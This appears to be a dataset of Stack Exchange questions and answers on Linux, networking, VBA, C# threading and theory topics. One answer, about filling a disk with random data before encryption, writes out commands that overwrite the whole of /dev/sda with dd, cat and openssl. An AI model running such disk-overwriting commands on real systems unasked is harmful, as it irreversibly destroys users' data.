{  "id": "_unix.310955"  , "question": "I want to embed an initramfs into my kernel at build time, but to create the rootfs image I need access to a number of modules for the kernel I'm about to build.What is the proper way to resolve this apparent chicken/egg problem of building the modules, then the initramfs, and then finally the kernel proper?I can't seem to find much documentation on this particular workflow. One option I am considering (since this is an embedded device with a known hardware config) is to just forego modules for any boot-time required code.UpdateI guess a better question is in order. Here's some additional info:This is running on the Raspberry Pi which has it's own closed-source bootloader which can be configured via a couple text files in the boot partition.The main impetus of this question is to ease updates in the nearterm (being able to just ship the kernel/initramfs in a single package without fiddling with bootloader configs that don't support logic for calculating addr offsets), to ease future migration to a secure boot chain (most likely through an interposed uboot loader; more files, more signatures, more pain), and to keep our OS build process simple (doesn't currently use a discrete bootloader).The more I look at it, the more I'm leaning towards just spending a day and getting uboot integrated into our build pipeline and not looking back. It just seems the whole Linux boot process is overly complex--especially for a fixed hardware spec system--and I'm trying to find ways to simplify through degeneralization."  , "title": "How can I compile Linux kernel modules without compiling the kernel?"  , "tags": "linux;linux kernel;kernel modules"  } 
{  "id": "_unix.220705"  , "question": "For example, I create 32768 directories named 0,1,2,...32767. I want to randomly choose one as the path every time I run a command. So I change $PATH to $PATH:/blabla/$RANDOM, but it won't work because $RANDOM is evaluated immediately. How can I delay the evaluation?"  , "title": "How can I delay the evaluation of variables (lazy evaluation)?"  , "tags": "shell;environment variables;variable"  , "accepted_answer": "This isn't a capability of any of the common shells.Recent versions of ATT ksh have a unique feature among shells called discipline functions. You can execute custom code when a variable is accessed, and if you set .sh.value to a different value, that value is used instead of the value of the variable.function PATH.get { .sh.value=$PATH:/blabla/$RANDOM; }However even this feature won't help you for PATH since it only triggers when a variable is used by the script, not by internal uses of PATH inside the shell.If you want that for the last PATH element, and you're using bash or zsh, you can use their command-not-found feature to invoke custom code if a command is not found. In bash:command_not_found_handle () {  command /blabla/$RANDOM/$@}In zsh:command_not_found_handler () {  /blabla/$RANDOM/$1 $@[2,$#]}Apart from these cases, there's no shell feature that'll help you. In any case, no shell feature will help you for programs that are not invoked by a shell.You could use LD_PRELOAD to override the execlp, execvp and execvpe library functions to do something different from breaking up PATH into colon-separated pieces and interpreting each of them as a directory. SeeRedirect a file descriptor before execution for an LD_PRELOAD example.Alternatively, you could put a PATH entry on a FUSE filesystem that implements a stacked filesystem that makes the given path correspond to a variable underlying directory. This will work for programs that just call execve with each PATH element until one works, but it'll confuse programs that first traverse the PATH entries looking for existing, executable files and then execute the one that is found."  } 
{  "id": "_unix.127077"  , "question": "I landed up in a situation wherein I had to access a Linux machine via puTTY.I made various attempts to SSH but failed to connect to the machine.I then realised my colleague was accessing the same Linux machine as root user,and I too wanted to access as a root user.I asked him to log out so that I can login as root.Is there a way we limit number of SSH login on a linux OS? Is this some kind of security feature that distinguishes a windows based OS with a linux based OS.I am fairly new to Linux,kindly help give a genuine answer.Thanks "  , "title": "Number of SSH connection(s) on a single linux machine"  , "tags": "ssh;limit"  } 
{  "id": "_cs.18181"  , "question": "Does the term schema, in the context of describing a structure, refer to the actual structure of the data, or the description of this structure? I.e. can I talk about the schema of an entity without a schema language?For example, suppose I am writing documentation for some JSON API, that always returns a particular structure, say:{    name : jeroen,   age :  28}Can I say that the schema for the payload returned by this API includes required values for name and age? Or does the term exclusively refer to another document that formally describes this structure using a schema language of some sort? In that case, what is another appropriate term to refer to the recurring pattern in the structure?The Github API, has a section titled schema: http://developer.github.com/v3/#schema. However, the word schema is not mentioned in the text itself, nor do they use any schema language. This would suggest that schema is just a general term for the structure/attributes of the output. Unless they consider english as a schema language, in which case the entire page is a schema. Hmmm."  , "title": "Precise definition of term: *schema*"  , "tags": "terminology;encoding scheme"  , "accepted_answer": "In order to write the documentation of the structure of the JSON objects returned from your API you can follow two approaches:describe the common attributes and of the objects returned by every function of your API; and then for each API function describe the specific attributes (their type, meaning, and example);Many APIs that use JSON to exchange data are documented using this approach: e.g. Google APIs for various services, Facebook Graph API, Twitter API, ...In this case I think it is not correct to use the term schema.or you can give a formal description of the output using a schema definition language like JSON-schema (designed by the IETF) and that plays the same role of the XML schema definition language for XML.But I don't know if JSON-schema is an established standard (there is an active Google group, but I didn't find any notable example, ... ).In this case you should provide a valid (json-)schema for the output of each function.If you choose this approach, then you should say that name and age are two required properties of the (json-)schemas of the (json-)objects returned by the functions of your APIs (but obviously you should provide the full-schemas, too) "  } 
{  "id": "_unix.284696"  , "question": "Network Finland(internet)-PC(Sweden)-Uni(Sweden). Uni IP is fixed. Finland(internet) is gained with 3g-4 connection. I need to use a VPN provider to change my country but the VPN provider gives ppp0, does not provide split tunnelling and does not give a public IP. Internet is gained with a mobile-connection of Telia-Sonera of Finland. First VPN connection allows access to institutional materials ... but it requires local IP is in Sweden. I give them my username+password but they have extra security with local IP. Second VPN (Slave) is required to change local IP from Finland to Sweden, but current VPN providers give only ppp0, no dynamic IP and no split tunnelling. (2-3) multiples because there are multiple institutionsGoals Mobile internet. I am using Telia-Sonera located in Finland. I do not know if you can change the server location of the operator dynamically. TODO ask it from the operator. VPN provider. Find one which provides a dynamic IP and/or split tunnelling. Software. Make Split tunnelling. TODO how to make this? Unsuccessful attempts to gain access to split tunnellingVPN - Tor (NordVPN Tor Sweden). This does not work; uni connection is rejected....SystemProblem: VPN provider provides only private access ppp0. I contacted several VPN providers for the thing. My current VPN provider is NordVPN. Their answers about having multiple VPN connections at the same time, which I do not believe, since I think they are talking about their NordVPN application only, and their technical proficiency has been generally low  Unfortunately, it is not possible to have multiple VPN connections  active on same computer at the same time.  - -   No, you can not change the subnet details assigned for you.  - -   NordVPN routes your entire internet traffic through VPN, thus the only option for two VPN connections is to set up one VPN connection on a virtual machine.   - -   No we do not support split tunneling. but I am ready to change my VPN provider if it is needed here for the task. I am not sure if you can do split tunnelling by software.  Proposal: Build a second layer of VPN on top of your established connection inside Finland. Do this with ifconfig, openvpn and not with mass market GUI. (here)OS X El-Capitan Tunnelblick for both VPN connections?Some OS X part of the thread is discussed here about How to use unique subnets of two VPN connections? Here is Tunnelblick's demo file config.ovpn without any changes; which you install by just drag-and-drop it to Tunnelblick's GUI menubar############################################### Sample client-side OpenVPN 2.0 config file ## for connecting to multi-client server.     ##                                            ## This configuration can be used by multiple ## clients, however each client should have   ## its own cert and key files.                ##                                            ## On Windows, you might want to rename this  ## file so it has a .ovpn extension           ################################################ Specify that we are a client and that we# will be pulling certain config file directives# from the server.client# Use the same setting as you are using on# the server.# On most systems, the VPN will not function# unless you partially or fully disable# the firewall for the TUN/TAP interface.;dev tapdev tun# Windows needs the TAP-Win32 adapter name# from the Network Connections panel# if you have more than one.  On XP SP2,# you may need to disable the firewall# for the TAP adapter.;dev-node MyTap# Are we connecting to a TCP or# UDP server?  Use the same setting as# on the server.;proto tcpproto udp# The hostname/IP and port of the server.# You can have multiple remote entries# to load balance between the servers.remote my-server-1 1194;remote my-server-2 1194# Choose a random host from the remote# list for load-balancing.  Otherwise# try hosts in the order specified.;remote-random# Keep trying indefinitely to resolve the# host name of the OpenVPN server.  Very useful# on machines which are not permanently connected# to the internet such as laptops.resolv-retry infinite# Most clients don't need to bind to# a specific local port number.nobind# Downgrade privileges after initialization (non-Windows only);user nobody;group nobody# Try to preserve some state across restarts.persist-keypersist-tun# If you are connecting through an# HTTP proxy to reach the actual OpenVPN# server, put the proxy server/IP and# port number here.  See the man page# if your proxy server requires# authentication.;http-proxy-retry # retry on connection failures;http-proxy [proxy server] [proxy port #]# Wireless networks often produce a lot# of duplicate packets.  Set this flag# to silence duplicate packet warnings.;mute-replay-warnings# SSL/TLS parms.# See the server config file for more# description.  It's best to use# a separate .crt/.key file pair# for each client.  A single ca# file can be used for all clients.ca ca.crtcert client.crtkey client.key# Verify server certificate by checking# that the certicate has the nsCertType# field set to server.  This is an# important precaution to protect against# a potential attack discussed here:#  http://openvpn.net/howto.html#mitm## To use this feature, you will need to generate# your server certificates with the nsCertType# field set to server.  The build-key-server# script in the easy-rsa folder will do this.;ns-cert-type server# If a tls-auth key is used on the server# then every client must also have the key.;tls-auth ta.key 1# Select a cryptographic cipher.# If the cipher option is used on the server# then you must also specify it here.;cipher x# Enable compression on the VPN link.# Don't enable this unless it is also# enabled in the server config file.comp-lzo# Set log file verbosity.verb 3# Silence repeating messages;mute 20Ubuntu 16.04I can start to test here also if necessary. It would be great if the above OpenVPN solution works in both systems. How can you make such a tunnel with OpenVPN? "  , "title": "How to Do Split Tunnelling with Slave ppp0 VPN + 2nd VPN?"  , "tags": "networking;openvpn"  , "accepted_answer": "I have not managed to complete the solution with Ryder's answer. My current understand is that you can only reach the target by using Virtual Machine as described here about How to Mimic Location of Slave VPN for Primary VPN? by klanomathCreate a new VM hull and attach it to this NAT network. Install a familiar OS (e.g OS X 10.9-10.11) in this VM Set up a VPN connection in the VM to your school's VPN server in Sweden in the VPN in System Preferences -> Network, shut down the VM and quit the hypervisor.Connect to NordVPN in the non-virtualized OS Start the VM Connect to the school's VPN server in the virtualized OS. "  } 
{  "id": "_unix.306787"  , "question": "I'm trying to combine two different files, one called itemnum and another called items. itemnum contains:ItemNumber12011221132013401410and items contains:ItemLobby FurnitureBallroom SpecialtiesPoolside CartsFormal Dining SpecialsReservation LogsI want to use join here right? So that the output looks like this:ItemNumber:Item1201:Lobby Furniture1221:Ballroom Specialties1320:Poolside Carts1340:Formal Dining Specials1410:Reservation LogsI can't even figure out how to get them to join, let alone add the :I tried join itemnum items > prodinfo, but that just gives me an empty file."  , "title": "Join lines from two files"  , "tags": "join;paste"  } 
{  "id": "_unix.72216"  , "question": "I've read about how to make hard drives secure for encryption, and one of the steps is to write random bits to the drive, in order to make the encrypted data indistinguishable from the rest of the data on the hard drive.However, when I tried using dd if=/dev/urandom of=/dev/sda in the past, the ETA was looking to be on the order of days.  I saw something about using badblocks in lieu of urandom, but that didn't seem to help a whole lot.  I would just like to know if there are any ways that might help me speed this up, such as options for dd or something else I may be missing, or if the speed is just a limitation of the HD."  , "title": "Fast Way to Randomize HD?"  , "tags": "encryption;dd;random"  , "accepted_answer": "dd if=/dev/urandom of=/dev/sda, or simply cat /dev/urandom >/dev/sda, isn't the fastest way to fill a disk with random data. Linux's /dev/urandom isn't the fastest cryptographic RNG around. Is there an alternative to /dev/urandom? has some suggestions. In particular, OpenSSL contains a faster cryptographic PRNG:openssl rand $(</proc/partitions awk '$4==sda {print $3*1024}') >/dev/sdaNote that in the end, whether there is an improvement or not depends on which part is the bottleneck: the CPU or the disk.The good news is that filling the disk with random data is mostly useless. First, to dispel a common myth, wiping with zeroes is just as good on today's hardware. With 1980s hard disk technology, overwriting a hard disk with zeroes left a small residual charge which could be recovered with somewhat expensive hardware; multiple passes of overwrite with random data (the Gutmann wipe) were necessary. Today even a single pass of overwriting with zeroes leaves data that cannot realistically be recovered even in laboratory conditions.When you're encrypting a partition, filling the disk with random data is not necessary for the confidentiality of the encrypted data. It is only useful if you need to make space used by encrypted data indistinguishable from unused space. Building an encrypted volume on top of a non-randomized container reveals which disk blocks have ever been used by the encrypted volume. This gives a good hint as to the maximum size of the filesystem (though as time goes by it will become a worse and worse approximation), and little more."  } 
{  "id": "_unix.171872"  , "question": "how to move a header to the last column, using awk or sedinput file look like this:Line      1.000Nx y z 23.88  44.66  56.623.81  41.66  53.6Line      81.000Nx y z 13.88  34.66  56.613.81  41.66  43.6I would like the output to be in the following format:23.88  44.66  56.6  1.000N23.81  41.66  53.6  1.000N13.88  34.66  56.6   81.000N13.81  41.66  43.6   81.000N"  , "title": "how to move a header to the last column, using awk or sed"  , "tags": "sed;awk"  } 
{  "id": "_cs.31898"  , "question": "I'm looking for an effective method to simulate a program. Why I am needing this is because sometimes I can only have the program's description, code, and all I have left is pen and paper when I want to calculate the result at the end, or the n-th loop, or step n-th ..etc.. For example : Declare @i int While @i < 1000 begin    print @i     set @i = @i + 1endneedless to say, this is a very simple program, everyone can understand it within a glance, but what about more complicated ones? I can make it with pen and paper, but it consumes alot of time, and I think maybe there will be some methods, which will make this problem a lot easier! "  , "title": "Effective method for simulating program's cycle"  , "tags": "formal methods"  } 
{  "id": "_cstheory.8489"  , "question": "The question is: what are examples of clique problem applications? I mean, what problems can be solved by reducing to clique problem (sorry for tautology)?All I came with is finding social cliques: groups of people who know each other personally.I understand, that similar ideas may arise in electronics, CS (i.e., compiler design?) and probably other fields, but can't think of other interesting problems.Would be glad to see some of them."  , "title": "Maximum-clique practical applications"  , "tags": "ds.algorithms;graph theory;application of theory;clique"  } 
{  "id": "_codereview.123820"  , "question": "I am using the following VBA code to replace accented letters with regular letters in a spreadsheet. This is necessary because these spreadsheets have to be uploaded to an import tool that does not allow foreign characters.Function RemoveAccentsFromForeignLetters()    StartNewTask (Removing accents from foreign letters)    Dim AccChars As String    Dim RegChars As String    AccChars =     RegChars = SZszYAAAAAACEEEEIIIIDNOOOOOUUUUYaaaaaaceeeeiiiidnooooouuuuyy    Set MyRange = ActiveSheet.UsedRange    Dim A As String * 1    Dim B As String * 1    Dim i As Integer    For i = 1 To Len(AccChars)        A = Mid(AccChars, i, 1)        B = Mid(RegChars, i, 1)        MyRange.Replace What:=A, Replacement:=B, LookAt:=xlPart, MatchCase:=True        ' TODO: highlight changed cells yellow    NextEnd FunctionI googled the code from somewhere and it works, but it is a bit slow. In a spreadsheet with 1.5 million cells (7000 rows, 200 columns), it takes 21 seconds to run.I wanted to look into ways to optimize it, for example:Maybe a RegEx would be faster?Maybe I should pass the entire spreadsheet to a DLL using an array, have the DLL do the replace, then pass it back? One article I read suggested that this is up to 10x faster than using native Excel VBA.Maybe I should use the same DLL trick as above, but add multi-threading?Any other ideas?"  , "title": "Replacing accented letters with regular letters in a spreadsheet"  , "tags": "performance;vba"  , "accepted_answer": "In addition to @Raystafarian's observations, there are a couple of other issues that I see.I would personally put your AccChars and RegChars variables intoConsts, because you never change their values.Your code also requires that AccChars and RegChars are the samelength, and will fail if they aren't.  I'd add an assert that teststhat before you do anything that writes to the Worksheet.You generally want to avoid using the Integer type unless youabsolutely need to (for example in an API call). VBA stores them as aLong regardless of how they are declared.Declaring A and B as fixed-length strings is a bit of prematureoptimization that is backfiring. When you pass them to .Replace asparameters, they are actually being implicitly cast back tovariable length ones.Minor thing, but I prefer the term stripped to regular - allcharacters are regular in their native context.Using string functions is not ideal when what you really care aboutare individual characters as opposed to a sub-string.  VBA allows adirect assignment of a String to a Byte array, and indexing intothe array is much faster than calling Mid. The performance hit is alot higher when you're doing it inside a loop. As a side note, youshould always use the String returning functions that end with '$'to avoid superfluous casting unless you explicitly require aVariant type. Mid$ (returns a String) as opposed to Mid(returns a Variant).Your call to .Replace method is acting on every single cell in yourRange. This is a huge performance hit, because I'm guessing thatnot every cell in the entire Worksheet is going to have an accentedcharacter in it. You should really only be concerned with cells thatdo. By performing the replacement on every cell, your performance is scaling directly with the number of cells, not the number ofreplacements. So, if only 5% of the cells have accented charactersyou are still doing 100% of the work. This is where the regularexpression would be useful, but you can't easily pawn that off onExcel (except maybe with using .Find, which has issues of its own).A loop would be better - a loop over an array pulled from the Rangewould be best.Your TODO: highlight changed cells yellow is going to be much moredifficult using the .Replace function, because it would requirestoring the state of the entire sheet, then doing a cell-by-cellcomparison. It will be a lot easier to track this concurrently whileyou are making changes.With all of that in mind, I'd do something more like this:Private Sub RemoveAccentsFromForeignLetters()    Dim Target As Range    Set Target = ActiveSheet.UsedRange    StartNewTask (Removing accents from foreign letters)    Dim Values() As Variant    Values = Target.Value    Debug.Assert Len(AccentedChars) = Len(StrippedChars)    Dim FindChars() As Byte    Dim ReplaceChars() As Byte    FindChars = AccentedChars    ReplaceChars = StrippedChars    Dim AccentedTest As RegExp    Set AccentedTest = New RegExp    AccentedTest.Pattern = [ & AccentedChars & ]    Dim index As Long    Dim character As Long    Dim col As Long    Dim row As Long    For row = 1 To UBound(Values, 1)        For col = 1 To UBound(Values, 2)            'Ignore strings that don't require character replacements.            If AccentedTest.Test(Values(row, col)) Then                Dim buffer() As Byte                buffer = StrConv(Values(row, col), vbUnicode)                'Skip every other character - VBA Unicode expansion                 'inserts nulls there.                For character = 0 To UBound(buffer) Step 2                    For index = 0 To UBound(FindChars)                        If buffer(character) = FindChars(index) Then                            buffer(character) = ReplaceChars(index)                        End If                    Next index                Next character                'Highlight changed cells yellow left as an exercise for                'the reader.                Values(row, col) = StrConv(buffer, vbFromUnicode)            End If        Next col    Next row    ActiveSheet.UsedRange = ValuesEnd SubSome quick and dirty benchmarks, all done with 2000 rows and 10 columns.  In the worse case benchmarks, all cells have the value .  In the average case benchmarks, 5% of the cells have the  and the rest of them contain XXXXXXXXXXXXXXX.Replace method, worst case: 3.51 seconds. Array method, worst case: 1.15 seconds. Replace method, average case: .40 seconds (supports disabling ScreenUpdating). Array method, average case: .08 seconds."  } 
{  "id": "_unix.266460"  , "question": "Reading up on signal(7) I can see that now: two, but once: three; signal numbers past 31 are reserved for use by the Real-time signal system and should not be used:Real-time SignalsLinux supports real-time signals as originally defined in the POSIX.1b real-time extensions (and now included in POSIX.1-2001). The range of supported real-time signals is defined by the macros SIGRTMIN and SIGRTMAX.  POSIX.1-2001 requires that an implementation support at least POSIX_RTSIG_MAX(8) real-time signals.The Linux kernel supports a range of 32 different real-time signals, numbered 33 to 64. However, the glibc POSIX threads implementation internally uses two (for NPTL) or three (for LinuxThreads) real-time signals (see pthreads(7)), and adjusts the value of SIGRTMIN suitably (to 34 or 35). Because the range of available real-time signals varies according to the glibc threading implementation (and this variation can occur at run time according to the available kernel and glibc), and indeed the range of real-time signals varies across UNIX systems, programs should never refer to real-time signals using hard-coded numbers, but instead should always refer to real-time signals using the notation SIGRTMIN+n, and include suitable (run-time) checks that SIGRTMIN+n does not exceed SIGRTMAX.So, how do I determine the value (in a C program that needs to set up signal handling for itself and any children) of SIGRTMIN when the program is running?  I have looked through questions and answers here but they all seem to treat SIGRTMIN as if it was a #define SIGRTMIN 34 when the man page says that should not be done!"  , "title": "How does one establish SIGRTMIN at run-time?"  , "tags": "linux kernel;c;signals"  , "accepted_answer": "Stupidly I had forgotten that things that are #defined are not constant unless they are written that way!As @RuiFRibeiro points out in the /usr/include/architecture-specific/bits/signum.h include file at the bottom is the pair of MACROS that provides what is needed:#define SIGUNUSED   31#define _NSIG       65  /* Biggest signal number + 1                     (including real-time signals).  */#define SIGRTMIN        (__libc_current_sigrtmin ())  #define SIGRTMAX        (__libc_current_sigrtmax ())  /* These are the hard limits of the kernel.  These values should not be   used directly at user level.  */#define __SIGRTMIN  32  #define __SIGRTMAX  (_NSIG - 1)So now I know how to prevent signal handlers from being attempted to be replaced for those reserved one - I suspect any attempt would be rejected anyway but for error reporting it is better to know what the limits are rather than to determine them from a suck it and see approach!"  } 
{  "id": "_unix.138303"  , "question": "I want to build an Ubuntu kernel from  scratch for beaglebone black. I have been searching for where I can download the kernel source code for more than two days but haven't found anything.So, please tell me from where I can get the kernel source code."  , "title": "kernel source code for beaglebone black"  , "tags": "ubuntu;linux kernel"  , "accepted_answer": "The first result for ubuntu kernel source code in duckduckgo.com is https://wiki.ubuntu.com/Kernel/SourceCode which explains the process of getting and compiling an Ubuntu kernel. I reproduce it here:All of the Ubuntu Kernel source is maintained under git. The source  for each release is maintained in its own git repository on  kernel.ubuntu.com. These can be browsed in gitweb, the official Ubuntu  trees are in the ubuntu/ directory. The Ubuntu Linux kernel git  repository is located at  git://kernel.ubuntu.com/ubuntu/ubuntu-.git or  http://kernel.ubuntu.com/git-repos/ubuntu/ubuntu-.git. To  obtain a local copy you can simply git clone the repository for the  release you are interested in as below. The git command is part of the  git-core package:git clone git://kernel.ubuntu.com/ubuntu/ubuntu-<release>.gitFor example to obtain the maverick tree:git clone git://kernel.ubuntu.com/ubuntu/ubuntu-maverick.gitThis will download several hundred megabytes of data. If you plan on  working on more than one kernel release you can save space and time by  downloading the upstream kernel tree. Note that once these two trees  are tied together you cannot remove the virgin Linus tree without  damage to the Ubuntu tree:git clone git://kernel.ubuntu.com/ubuntu/linux.gitgit clone --reference linux git://kernel.ubuntu.com/ubuntu/ubuntu-karmic.gitgit clone --reference linux git://kernel.ubuntu.com/ubuntu/ubuntu-maverick.gitIn each case you will end up with a new directory ubuntu-  containing the source and the full history which can be manipulated  using the git command from within each directory.By default you will have the latest version of the kernel tree, the  master tree. You can switch to any previously released kernel version  using the release tags. To obtain a full list of the tagged versions  in the release as below:$ git tag -l Ubuntu-*Ubuntu-2.6.27-7.10Ubuntu-2.6.27-7.11Ubuntu-2.6.27-7.12Ubuntu-2.6.27-7.13Ubuntu-2.6.27-7.14$To look at the 2.6.27-7.13 version you can simply checkout a new  branch pointing to that version:git checkout -b temp Ubuntu-2.6.27-7.13You may then manipulate the release for example adding new commits."  } 
{  "id": "_softwareengineering.209862"  , "question": "C++ is a great language in many ways, but some things in particular are cumbersome to write without an IDE. As a VIM user, it would be very interesting if I had access to a higher level language which enabled me to write C++ with S-Expressions and possibly with Lisp-like macros, allowing for the generation of clean code while avoiding rewriting the same patters over and over again.I've asked on freenode and tested several ideas, such as compiling Lisp->C with compilers such as ECL and Bigloo, but none of those generated particularly clean C code.Are there any works on this issue?"  , "title": "Is it possible to compile a higher level language to readable C++?"  , "tags": "programming languages;c++;c;lisp;vim"  } 
{  "id": "_cstheory.37010"  , "question": "For a graph $G$ on $n$ vertices, what is the value of following ratio: $$\\max_{f:V\\rightarrow [\\frac{-1}{2},\\frac{1}{2}], \\\\ \\sum_{v}{f(v)}=0} \\frac{f^T L_G f}{n-f^Tf} ,$$ where $L_G=D_G-A_G$ is the laplacian matrix of $G$? Is this parameter related to the spectrum of $G$? Is this parameter polynomially computable? Remark: Note that we have $$\\max_{f:V\\rightarrow [\\frac{-1}{2},\\frac{1}{2}], \\\\ \\sum_{v}{f(v)}=0} \\frac{f^T L_G f}{f^Tf} = \\lambda_n(G),$$ where $\\lambda_n(G)$ is the largest eigenvalue of $L_G$. "  , "title": "Is the value of $\\max_{f:V\\rightarrow [\\frac{-1}{2},\\frac{1}{2}], \\\\ \\sum_{v}{f(v)}=0} \\frac{f^T L_G f}{n-f^Tf}$ polynomially computable?"  , "tags": "cc.complexity theory;polynomial time;spectral graph theory"  } 
{  "id": "_unix.129290"  , "question": "My system has 6 interfaces, a loopback, a Xen Bridge, and then 4 ethernet interfaces eth0-3. In this system, my DNS server assigned by DHCP on xenbr0 is 192.168.1.1.Initially eth1 is disabled and DNS assigned (checked via /etc/resolv.conf) is 192.168.1.1. When I enable eth1, internet on this system stops working, I checked with /etc/resolv.conf and now DNS is 127.0.0.1 (why?). Anyway DNS resolution doesn't work now.Question is How can I make internet work while keeping all interfaces active? Why DNS server changes, and how to stop that?About Environment: This is a Ubuntu 12.04 VM running in Xen in VirtualBox. eth1 is connected to a VBox host-only network 192.168.56.0/24. eth2 and eth3 are connected to VBox internal networks, there is no config on these two interfaces. xenbr0 is xen bridge and eth0 is added as its one port. In Vbox eth0 is sharing IP with host machine via NAT (currently getting 10.0.2.15). IP of host machine is 192.168.1.x and router IP is 192.168.1.1 which is default gateway for host and DNS too. This is hown DNS is propagated upto guest machine via xenbr0."  , "title": "Why DNS server changes when enabling another interface on machine"  , "tags": "networking;dns"  , "accepted_answer": "Sounds like your system uses the same init script on all(?) interfaces, thus the most-recent DHCPconfigured connection will overwrite /etc/resolv.conf with whatever that DHCP defined"  } 
{  "id": "_codereview.16211"  , "question": "I made a simple library to help me doing A/B tests in a web app. The idea is simple: I have two or more page options (URL) for a given page and every call to the library method should give me a URL so at the end all options were given the same traffic.My questions are: Is this 100% thread safe? Is this performatic (I'm worried about the locks in a multithreaded (web) environment)? Did I use the best data structure for it?Can it be more readable?Here are the tests and the implementation:[TestFixture]public class ABTestTest    {    [SetUp]    public void Setup()    {        ABTest.ResetAll();    }    [Test]    public void GetUrlWithTwoCandidates()    {        ABTest.RegisterUrl(CarrinhoPagamento, Url1.aspx);        ABTest.RegisterUrl(CarrinhoPagamento, Url2.aspx);        ABTest.GetUrl(CarrinhoPagamento).Should().Be.EqualTo(Url1.aspx);        ABTest.GetUrl(CarrinhoPagamento).Should().Be.EqualTo(Url2.aspx);        ABTest.GetUrl(CarrinhoPagamento).Should().Be.EqualTo(Url1.aspx);        ABTest.GetUrl(CarrinhoPagamento).Should().Be.EqualTo(Url2.aspx);        ABTest.GetUrl(CarrinhoPagamento).Should().Be.EqualTo(Url1.aspx);        ABTest.GetUrl(CarrinhoPagamento).Should().Be.EqualTo(Url2.aspx);        ABTest.GetUrl(CarrinhoPagamento).Should().Be.EqualTo(Url1.aspx);    }    [Test]    public void GetUrlWithThreeCandidates()    {        var OptionsSelected = new Dictionary<string, int>();        OptionsSelected.Add(Url1.aspx, 0);        OptionsSelected.Add(Url2.aspx, 0);        OptionsSelected.Add(Url3.aspx, 0);        ABTest.RegisterUrl(CarrinhoPagamento, Url1.aspx);        ABTest.RegisterUrl(CarrinhoPagamento, Url2.aspx);        ABTest.RegisterUrl(CarrinhoPagamento, Url3.aspx);        var nextUrl = ;        for (int i = 1; i < 10; i++)        {            nextUrl = ABTest.GetUrl(CarrinhoPagamento);            OptionsSelected[nextUrl]++;        }        OptionsSelected[Url1.aspx].Should().Be.EqualTo(3);        OptionsSelected[Url2.aspx].Should().Be.EqualTo(3);        OptionsSelected[Url3.aspx].Should().Be.EqualTo(3);    }    [Test]    public void GetUrlWithThreeCandidatesThreaded()    {        var OptionsSelected = new Dictionary<string, int>();        OptionsSelected.Add(Url1.aspx, 0);        OptionsSelected.Add(Url2.aspx, 0);        OptionsSelected.Add(Url3.aspx, 0);        ABTest.RegisterUrl(CarrinhoPagamento, Url1.aspx);        ABTest.RegisterUrl(CarrinhoPagamento, Url2.aspx);        ABTest.RegisterUrl(CarrinhoPagamento, Url3.aspx);        ThreadPool.SetMaxThreads(3, 3);        for (int i = 1; i < 10; i++)        {            ThreadPool.QueueUserWorkItem((object state) =>            {                var nextUrl = ABTest.GetUrl(CarrinhoPagamento);                OptionsSelected[nextUrl]++;            });                        }        while (OptionsSelected.Select(x => x.Value).Sum() != 9)        {            Thread.Sleep(100);        }        OptionsSelected[Url1.aspx].Should().Be.EqualTo(3);        OptionsSelected[Url2.aspx].Should().Be.EqualTo(3);        OptionsSelected[Url3.aspx].Should().Be.EqualTo(3);    }}public class ABTest{    private volatile static Hashtable NextOption = new Hashtable();    private static Hashtable Options = new Hashtable();    public static void ResetAll()    {        lock (NextOption)        {            NextOption = new Hashtable();        }        lock (Options)        {            Options = new Hashtable();        }    }    public static void RegisterUrl(string key, string url)    {        if (Options.ContainsKey(key.GetHashCode()))        {            lock (Options)            {                ((List<ABTestOption>)Options[key.GetHashCode()]).Add(new ABTestOption()                {                    Url = url,                    Count = 0                });            }        }        else        {            if (!Options.ContainsKey(key.GetHashCode()))            {                lock (Options)                {                    if (!Options.ContainsKey(key.GetHashCode()))                    {                        Options.Add(                            key.GetHashCode(),                            new List<ABTestOption>() {                             new ABTestOption() {                                 Url = url,                                 Count = 0                             }                         });                    }                }            }            if (!NextOption.ContainsKey(key.GetHashCode()))            {                lock (NextOption)                {                    if (!NextOption.ContainsKey(key.GetHashCode()))                    {                        NextOption.Add(key.GetHashCode(), url);                    }                }            }        }    }    public static string GetUrl(string key)    {        lock (NextOption)        {            var nextUrl = (string)NextOption[key.GetHashCode()];            var keyOptions = (List<ABTestOption>)Options[key.GetHashCode()];            var selectedOption = keyOptions.Where(x => x.Url == nextUrl).First();            selectedOption.Count++;            NextOption.Remove(key.GetHashCode());            NextOption.Add(key.GetHashCode(), keyOptions.OrderBy(x => x.Count).First().Url);            return nextUrl;        }    }    private class ABTestOption    {        public string Url { get; set; }        public int Count { get; set; }    }}"  , "title": "Library for doing A/B tests in a web app"  , "tags": "c#;multithreading;thread safety"  , "accepted_answer": "This part is not thread safe:    lock (NextOption)    {        NextOption = new Hashtable();    }The problem is that the object being used to synchronize is re-assigned.  That means a subsequent caller will acquire a different lock.It's conceivable that two writer threads hit RegisterUrl and each see a different lock, but end up adding concurrently to the same hash table, which is a harmful race condition.  There are also more subtle problems if two threads are both calling ResetAll and a third thread is inserting.You should do something like this:object NextOptionLock = new object();Hashtable NextOption = new Hashtable();lock (NextOptionLock){    NextOption = new HashTable();}I would do this for all other places where you use lock(/* ... */).  It's a good practice to keep the lock object separate from the data being protected.This next part looked kind of suspicious to me because its thread safety depends on the implementation of Hashtable:    if (Options.ContainsKey(key.GetHashCode()))    {        lock (Options)        {            ((List)Options[key.GetHashCode()]).Add(new ABTestOption()The question is whether or not it's safe to call ContainsKey while another thread does Add.  According to Microsoft's documentation it is safe:Hashtable is thread safe for use by multiple reader threads and a single writing thread. It is thread safe for multi-thread use when only one of the threads perform write (update) operations, which allows for lock-free reads provided that the writers are serialized to the Hashtable. So while it might be a red flag for someone auditing for concurrency problems, it seems OK.Your use of GetHashCode looks a little weird.  Don't MS's classes do this for you when you use an object as a hash table key?Also, why use a non-generic class like Hashtable?  I see from MSDN that Dictionary<K,V> does not allow reads to be overlapped with a write in the same way that Hashtable's documentation claims, so maybe that's the reason...  Have you looked at ConcurrentDictionary?"  } 
